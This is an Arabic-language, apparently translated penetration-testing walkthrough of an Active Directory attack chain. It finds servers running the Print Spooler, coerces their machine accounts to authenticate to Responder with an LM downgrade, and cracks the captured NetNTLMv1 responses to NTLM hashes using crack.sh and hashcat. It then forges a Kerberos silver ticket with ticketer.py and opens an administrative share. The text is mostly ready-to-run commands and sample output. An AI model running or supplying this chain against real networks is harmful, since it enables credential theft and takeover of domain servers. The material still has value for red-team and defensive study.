
SpoolSample -> Responder مع تخفيض NetNTLM -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
تمت الإشارة إلى هذه التقنية من قبل آخرين، لكني لم أر شيئًا متماسكًا. فيما يلي سنستعرض خطوات الحصول على مصادقة NetNTLMv1 Challenge/Response، وكسرها إلى تجزئات NTLM، واستخدام تلك التجزئة NTLM لتوقيع تذكرة فضية Kerberos.
تعمل هذه التقنية على الشبكات حيث يكون "مستوى مصادقة LAN Manager" مضبوطًا على 2 أو أقل. هذا سيناريو شائع إلى حد ما في نشرات Windows الأقدم والأكبر. لا يجب أن تعمل على Windows 10 / Server 2016 أو الأحدث.
باستخدام Powershell، احصل على قائمة بأجهزة Windows. الخوادم عادة ما تكون أولوية، لذا لنركز عليها:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
باستخدام SpoolerScanner المعدل قليلاً الخاص بـ @mysmartlogin (فينسنت لي تو)، تحقق مما إذا كانت خدمة Spooler تستمع
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
يمكنك أيضًا استخدام rpcdump.py على Linux والبحث عن بروتوكول MS-RPRN
rpcdump.py DOMAIN/USER:[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe TARGET RESPONDERIP
أو استخدم dementor.py الخاص بـ 3xocyte إذا كنت على Linux
python dementor.py -d domain -u username -p password RESPONDERIP TARGET
مثال على الاستجابة:
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
يمكنك استخدام مجموعة من جداول قوس قزح لعكس NTHASH إلى NTLM، أو يمكنك عكسه إلى مكوناته DES وكسرها باستخدام hashcat. يمكن لجهاز 8x 1080 كسرها بالقوة العمياء في حوالي 6 أيام، لذا فكر في جداول قوس قزح.
بالنسبة لجداول قوس قزح، هناك خدمة مستضافة على https://crack.sh/netntlm/ تستعيد NTLM من NetNTLMv1 مجانًا. هذا مقدم من ديفيد هولتون من Toorcon. نحن نعمل على نسخة محلية من جداول قوس قزح وبرنامج لا يتطلب FPGA للبحث.
بالنسبة لـ crack.sh، التنسيق هو NTHASH:(response)، لذا NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 من المثال.
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
سيعيد هذا الإخراج أدناه مع التعليمات:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
ستحتاج إلى العثور على بعض المعلومات لهذا: SPN للخدمة التي تريد الوصول إليها، SID المجال، SID حساب المستخدم في المجال واسم الحساب مع صلاحيات المشرف المحلي، ومجموعة مجال يكون المستخدم عضوًا فيها إذا كان المشرف المحلي قائمًا على المجموعة.
بالنسبة للخدمة، الأكثر شيوعًا سيكون cifs/ لأنه يعود إلى خدمة HOST/
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username
export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache
smbclient -k //SERVER.DOMAIN.COM/c$ -d
توزيع 6 تيرابايت من جداول قوس قزح
تعديل desrtop الخاص بـ @0x31337 بحيث لا يتطلب FPGA
تحديد المزيد من الطرق لتشغيل مصادقة حساب الآلة عن بعد